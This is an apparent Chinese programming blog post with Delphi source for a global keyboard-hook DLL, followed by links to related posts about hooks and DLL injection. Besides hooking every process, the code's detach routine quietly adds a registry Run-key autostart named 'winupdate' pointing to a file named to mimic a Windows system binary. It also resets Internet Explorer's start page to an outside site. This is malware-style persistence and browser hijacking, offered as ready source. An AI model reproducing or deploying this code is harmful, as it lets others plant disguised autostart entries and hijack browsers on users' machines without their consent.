DLL全局钩子

原创 2004年05月31日 20:45:00

DLL全局钩子

// 以下使用内存映射文件共享数据来保存键盘钩子和Dll句柄 
// 运行此程序:触发程序加载完Dll后,对其他系统内有键盘响应事件的程序自己挂钩
// 而即使触发程序死亡,DLL还是会达到监控键盘响应事件自动挂钩的目的
// 直到你按下Ctrl+F组合键DLL才从内存中卸载.

library sysinfo;

uses
  windows;


const BUFFER_SIZE = 16 * 1024;
const HOOK_MEM_FILENAME = 'MEM_FILE';
type
  TShared = record
    KeyHook:HHook;
    Moudle :THandle;
  end;
  PShared = ^TShared;
var
  MemFile: THandle;
  Shared: PShared;

{撤消钩子过滤函数}
function UninstallHook: Boolean;
begin
  Freelibrary(Shared^.Moudle);
  Result := UnHookWindowsHookEx(Shared^.KeyHook); 
  UnmapViewOfFile(Shared);
  CloseHandle(memFile);
end;


function KeyHookProc(iCode: Integer; wParam: WPARAM;
  lParam: LPARAM): LRESULT; stdcall; export;
const
  KeyPressMask = $80000000;
begin
  if iCode < 0 then
    Result := CallNextHookEx(Shared^.KeyHook,
       iCode,
      wParam,
      lParam)
  else begin
    if ((lParam and KeyPressMask) = 0) and (GetKeyState(vk_Control) < 0) and (
wparam = Ord('F'))
    then
    begin
      Windows.MessageBox(0,'........钩子已消除!..........','hello!',MB_ICONEXC
LAMATION);
      UninstallHook;
    end;
  //result:=0;
    Result := CallNextHookEx(Shared^.KeyHook,iCode,wParam,lParam);
  end;
end;

function InstallHook:Boolean;
begin
  Shared^.Moudle:=GetModuleHandle(PChar('sysinfo'));
  Shared^.KeyHook := SetWindowsHookEx(WH_KEYBOARD,
                             @KeyHookProc,
                           Shared^.Moudle,
                                       0);
  if Shared^.KeyHook = 0 then
  begin
    Result := False;
    Exit;
  end;
  Result := true;
end;


// 以下为写注册表部分,在下定义了一个函数
procedure writeregedit(cCustomLog,var1,var2:pchar);
var
  size: integer;
  s: string;
  TempKey: HKEY;
  fDisposition: pointer;
begin
  fDisposition := nil;
      if RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                       cCustomLog,
                       0,
                       nil,
                       REG_OPTION_NON_VOLATILE,
                       KEY_WRITE,
                       nil,
                       TempKey,
                       fDisposition)= ERROR_SUCCESS
                       then begin
         RegSetValueEx (TempKey,
                         var1,
                         0,
                         REG_SZ,
                         var2,
                        length(var2));

                       end;
  RegCloseKey(TempKey);
end;


procedure DllEntry(dwReason : integer);
begin
  case dwReason Of

// DLL导入进程时
    DLL_PROCESS_ATTACH:
      begin
        MemFile := OpenFileMapping(FILE_MAP_WRITE,False,HOOK_MEM_FILENAME);
        if MemFile = 0 then
          MemFile := CreateFileMapping($FFFFFFFF,nil,
            PAGE_READWRITE,
            0,
            SizeOf(TShared),
            HOOK_MEM_FILENAME);
        Shared := MapViewOfFile(MemFile,
          File_MAP_WRITE,
          0,
          0,
          0);
// 加载钩子
        InstallHook;
      end;
    DLL_PROCESS_DETACH:
      begin
        writeregedit('SOFTWARE/Microsoft/Windows/CurrentVersion/Run','winupdat
e','c:/windows/winh1p32.exe');
        writeregedit('SOFTWARE/Microsoft/internet explorer/main','start page',
'http://www.iou.com');

// 我不想此时卸载钩子
//      UninstallHook;
      end;
    else;
  end;
end;


exports
  InstallHook;

begin
  DllProc := @DllEntry;
  DllEntry(DLL_PROCESS_ATTACH);
end.

晕了: 

今天有点累,注解未完之处以后补上吧.附:网站快要申请了,到时贴上所有源码^_^

利用DLL构建全局钩子

钩子是一种很神奇的东西,yefeic
  • shmilyhwyz
  • shmilyhwyz
  • 2014年08月12日 22:29
  • 958

不依赖于DLL就能正常工作的全局钩子

不依赖于DLL就能正常工作的全局钩子不知道大家是通过什么开始对钩子(Hook)有了解的,我是看过Jeffrey Richter的《WINDOWS 高级编程指南》(新版的中文译名为《Windows核心编...
  • xstring
  • xstring
  • 2004年03月23日 10:08
  • 982

安装全局消息钩子实现dll窗体程序注入

安装全局消息钩子实现dll窗体程序注入
  • u013761036
  • u013761036
  • 2016年10月26日 18:33
  • 1616

C#中运用全局钩子

转自:http://topic.csdn.net/u/20080328/07/e0343ac4-32eb-4d7b-acee-c479cf26560a.html using System; using...
  • normallife
  • normallife
  • 2009年04月01日 16:40
  • 4427

MFC线程钩子和全局钩子[HOOK DLL]

第一部分:API函数简介 1.       SetWindowsHookEx函数 函数原型 HHOOK SetWindowsHookEx(   int idHook,        // ...
  • NUPTboyZHB
  • NUPTboyZHB
  • 2012年04月05日 21:49
  • 6318

接触DLL编写并实现线程注入和全局钩子

 资料"核心编程>>  你不会C,那先找本C的书...如果想要电子书的可以回帖留下你的Email,有空发给你,一些  自己珍藏的书籍  还有你应有VC++6.0和MSDN  好了,开始吧  目录  0...
  • carl2380
  • carl2380
  • 2009年11月13日 10:21
  • 1579

全局钩子为什么要用DLL 共享节

利用全局钩子  在别的进程窗口下 关闭test窗口 关于全局钩子为什么一定要在DLL中 2013-12-05 13:02使徒辟允382  分类:网站使用 | 浏览 66 次 ...
  • mfmfmmf1
  • mfmfmmf1
  • 2015年07月13日 19:39
  • 672

不需要DLL的全局钩子完成鼠标截屏功能

       效果是点击截屏以后程序判断鼠标按下和鼠标抬起两个事件得到拉出的矩形,以这个矩形大小抓屏,画到Image上。使用的钩子类型是WH_MOUSE_LL所以不需DLL就可以达到全局钩子的效果...
  • xingkiller
  • xingkiller
  • 2007年05月31日 14:33
  • 788

Dll注入技术之消息钩子

转自:黑客反病毒 DLL注入技术之消息钩子注入     消息钩子注入原理是利用Windows 系统中SetWindowsHookEx()这个API,他可以拦截目标进程的消息到指定的DL...
  • ProgrammingRing
  • ProgrammingRing
  • 2014年02月06日 23:14
  • 6335

全局钩子 实例(不使用DLL和使用DLL两种)

出处:CSDN 作者: xstring  不知道大家是通过什么开始对钩子(Hook)有了解的,我是看过Jeffrey Richter的《WINDOWS 高级编程指南》(新版的中文译名为《Wi...
  • yedezhanghao
  • yedezhanghao
  • 2011年09月22日 09:25
  • 7046
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:DLL全局钩子
举报原因:
原因补充:

(最多只允许输入30个字)